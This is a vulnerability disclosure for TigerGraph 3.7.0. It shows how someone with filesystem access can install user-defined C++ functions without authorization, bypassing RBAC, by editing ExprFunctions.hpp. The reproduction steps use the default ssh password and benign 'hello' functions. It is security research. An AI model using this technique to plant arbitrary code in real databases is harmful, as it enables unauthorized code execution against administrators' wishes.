The TigerGraph platform allows users to define new User Defined Functions (UDFs) from C/C++ code. To support this functionality TigerGraph allows users to upload custom C/C++ code which is then compiled and installed into the platform (see Query User-Defined Functions :: GSQL Language Reference).

In this report we demonstrate that an attacker who has filesystem access on a remote TigerGraph system can alter the behavior of the database against the will of the database administrator; thus effectively bypassing the built in RBAC controls. To demonstrate this we show how to install a malicious UDF by modifying various source files located on the remote system.

The only mitigation of CVE-2022-30331 is that UDFs can only be installed by users authorized to do so by the TigerGraph RBAC system via the GSQL PUT command. This report demonstrates that this is not the case and that the RBAC controls in TigerGraph are easily bypassed. What raises the severity of this CVE and CVE-2022-30331 is that there are a minimum of eight active CVEs that provide an attacker with a sufficient level of privilege to exploit this vulnerability.

Impact

Severe.

Products/Versions Affected

  • TigerGraph Enterprise Free Edition 3.7.0 Docker Image
  • TigerGraph Enterprise Free Edition 3.7.0

We suspect that this vulnerability may be present in all TigerGraph products (although this is not confirmed).

Standup A TigerGraph System

To follow later steps a running TigerGraph system is needed. Follow these steps to create one using Docker.

Using docker download at the latest TigerGraph image and start the server:

1.) Optional: clean-up old TigerGraph docker images and obtain the latest version:

docker rm tigergraph
docker pull docker.tigergraph.com/tigergraph:latest

2.) Download and run the docker image (note: we do not need to attach a volume):

docker run -d \
  -p 14022:22 \
  -p 9000:9000 \
  -p 14240:14240 \
  --name tigergraph \
  --ulimit nofile=1000000:1000000 \
  -t tigergraph/tigergraph:latest

3.) Once the container has started, connect to it via ssh (note: the default password is tigergraph):

ssh -p 14022 tigergraph@localhost

4.) Start all TigerGraph services

gadmin start all

5.) Enable RESTPP authentication

gadmin config set RESTPP.Factory.EnableAuth true
gadmin config apply -y
gadmin restart restpp nginx gui gsql -y

6.) Create a new graph

gsql
GSQL> create graph test(*)

Installing A New UDF

The first part of this report is to establish that a new UDF can be installed into an existing TigerGraph system outside of the normal procedures described in the documentation here: https://docs.tigergraph.com/gsql-ref/current/querying/func/query-user-defined-functions.

Into A Clean System

The first step is to show that an attacker is able to silently install a new UDF into a system that does not contain any UDFs. To do this the following steps will overwrite the default UDF source files – that are specified in the documentation – directly.

For these steps we will use a docker container running TigerGraph 3.7.0:

1.) Connect to the docker container via ssh (note: the default password is `tigergraph`):

ssh -p 14022 tigergraph@localhost

2.) Locate the source files that contain the UDF definitions. The documentation specifies that these are located relative to the application root directory: AppRoot/dev/gdk/gsql/src/QueryUdf/. In this example, ExprFunctions.hpp was located at the path shown below and opened using the vi editor:

vi tigergraph/app/3.7.0/dev/gdk/gsql/src/QueryUdf/ExprFunctions.hpp

3.) Once opened, scroll to the bottom and create a new function called foo which will create a UDF of the same name (note: be careful to create the function within the correct C++ namespace or above the last curly brace):

  template<>
  inline std::string to_string (bool val) {
    return val ? "true" : "false";
  }

  inline std::string foo() {
    return std::string("hello from foo()");
  }
}
/****************************************/

#endif /* EXPRFUNCTIONS_HPP_ */

4.) Next open a GSQL shell to work with our test graph and create a query called bar that will call our new UDF (foo) and print the output to the console:

tigergraph@c9889364e861:~$ gsql -g test

GSQL > begin
GSQL > create query bar() for graph test {
GSQL >   print foo();
GSQL > }
GSQL > end
Successfully created queries: [bar].

5.) Once the bar query is successfully created it needs to be installed for it to be usable. This can be done like so:

GSQL > install query bar
Start installing queries, about 1 minute ...
bar query: curl -X GET 'https://127.0.0.1:9000/query/test/bar'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled.
Select 'm1' as compile server, now connecting ...
Node 'm1' is prepared as compile server.

[========================================================================================================] 100% (1/1)
Query installation finished.

6.) Finally, to verify that our UDF is accessible and works correctly we run the bar query:

GSQL > run query bar()
{
  "error": false,
  "message": "",
  "version": {
    "schema": 0,
    "edition": "enterprise",
    "api": "v2"
  },
  "results": [{"foo()": "hello from foo()"}]
}

What these steps demonstrate is that with access to the application directory an attacker can silently install a new UDF into the system that bypasses TigerGraph’s RBAC security.

Into System Containing Existing UDFs

The next step is to show that an attacker is able to silently install a new UDF into a system alongside existing UDFs that have been installed by an authorized system administrator. To do this the following steps will overwrite the UDF source files that have been uploaded by the system administrator.

For these steps we will use the same docker container running TigerGraph 3.7.0 as we used in the previous section.

Our starting point is to simulate an authorized system administrator installing valid UDFs into the remote system via the GSQL client. This is done by the following steps:

1.) Copy the default ExprFunctions.hpp from the running docker container into a local file called my-udf.hpp:

docker cp tigergraph:/home/tigergraph/tigergraph/app/3.7.0/dev/gdk/gsql/src/QueryUdf/ExprFunctions.hpp my-udf.hpp

2.) To run remote GSQL commands on the local machine, we need a copy of the GSQL client. We can simply copy the jar file from the docker container as well:

docker cp tigergraph:/home/tigergraph/tigergraph/app/3.7.0/dev/gdk/gsql/lib/gsql_client.jar .

3.) Start the GSQL client and connect it to the remote machine:

java -jar gsql_client.jar -ip localhost

4.) Once the GSQL client is connected, we finish the install of our UDFs on the remote system by running the following command:

GSQL> put ExprFunctions from “my-udf.hpp”

Now that there are some UDFs installed on the remote server we can demonstrate that we can install a new UDF outside of the normal procedure with the following steps:

5.) Connect to the docker container via ssh (note: the default password is `tigergraph`):

ssh -p 14022 tigergraph@localhost

6.) Locate the source files that contain the UDF definitions uploaded by the system administrator. In this example, ExprFunctions.hpp was located at the path shown below and opened using the vi editor:

vi tigergraph/data/gsql/udf/ExprFunctions.hpp

7.) Once opened, scroll to the bottom and create a new function called baz which will create a UDF of the same name (note: be careful to create the function within the correct C++ namespace or above the last curly bracket):

  template<>
  inline std::string to_string (bool val) {
    return val ? "true" : "false";
  }

  inline std::string foo() {
    return std::string("hello from foo()");
  }

  inline std::string baz() {
    return std::string("hello from baz()");
  }

}
/****************************************/

#endif /* EXPRFUNCTIONS_HPP_ */

8.) Next open a GSQL shell to work with our test graph and create a query called qux that will call our new UDF (baz) and print the output to the console:

tigergraph@c9889364e861:~$ gsql -g test

GSQL > begin
GSQL > create query qux() for graph test {
GSQL > print baz();
GSQL > }
GSQL > end
Successfully created queries: [bar].

9.) Once the bar query is successfully created it needs to be installed for it to be usable. This can be done like so:

GSQL > install query qux
Start installing queries, about 1 minute ...
bar query: curl -X GET 'https://127.0.0.1:9000/query/test/qux. Add -H "Authorization: Bearer TOKEN" if authentication is enabled.
Select 'm1' as compile server, now connecting ...
Node 'm1' is prepared as compile server.

[========================================================================================================] 100% (1/1)
Query installation finished.

10.) Finally, to verify that our UDF is accessible and works correctly we run the qux query:

GSQL > run query qux()
{
  "error": false,
  "message": "",
  "version": {
    "schema": 0,
    "edition": "enterprise",
    "api": "v2"
  },
  "results": [{"baz()": "hello from baz()"}]
}

What these steps demonstrate is that with access to the data directory an attacker can silently install a new UDF into the system that bypasses TigerGraph’s RBAC security.

Wider Impact

TigerGraph allows users to run arbitrary C++ code within the database and CVE-2022-30331 demonstrates that there are no security restrictions on what the code is permitted to do on the system. Currently, the only mitigation of CVE-2022-30331 is that the C++ code can only be installed by an authorized user (i.e. someone that is permitted to do this via the TigerGraph RBAC control system). The previous section demonstrates that this is in fact not the case and that the RBAC controls are easily bypassed if an attacker has access to the filesystem.

Previous sections have adequately proven that RBAC controls can be worked around by having access to the filesystem on the remote TigerGraph system. However, to show this we have relied on already having administrative access to the remote system (in the form of knowing the password of the tigergraph user). A point that may be incorrectly interpreted as a mitigation for this attack. However, we are currently aware of a minimum of eight active CVEs that provide an attacker with sufficient level of privilege to exploit this vulnerability.

The current list of active CVEs is:

  • CVE-2022-30331 Malicious UDFs
  • CVE-2023-22950 Data loading
  • CVE-2023-22948 Insecure SSH keys
  • CVE-2023-xxxxx Insecure authorized_keys file
  • CVE-2023-xxxxx Data Upload Permissions
  • CVE-2023-xxxxx GSQL Can Write Arbitary files
  • CVE-2023-22949 Insecure login credentials
  • CVE-2023-22951 insecure web credentials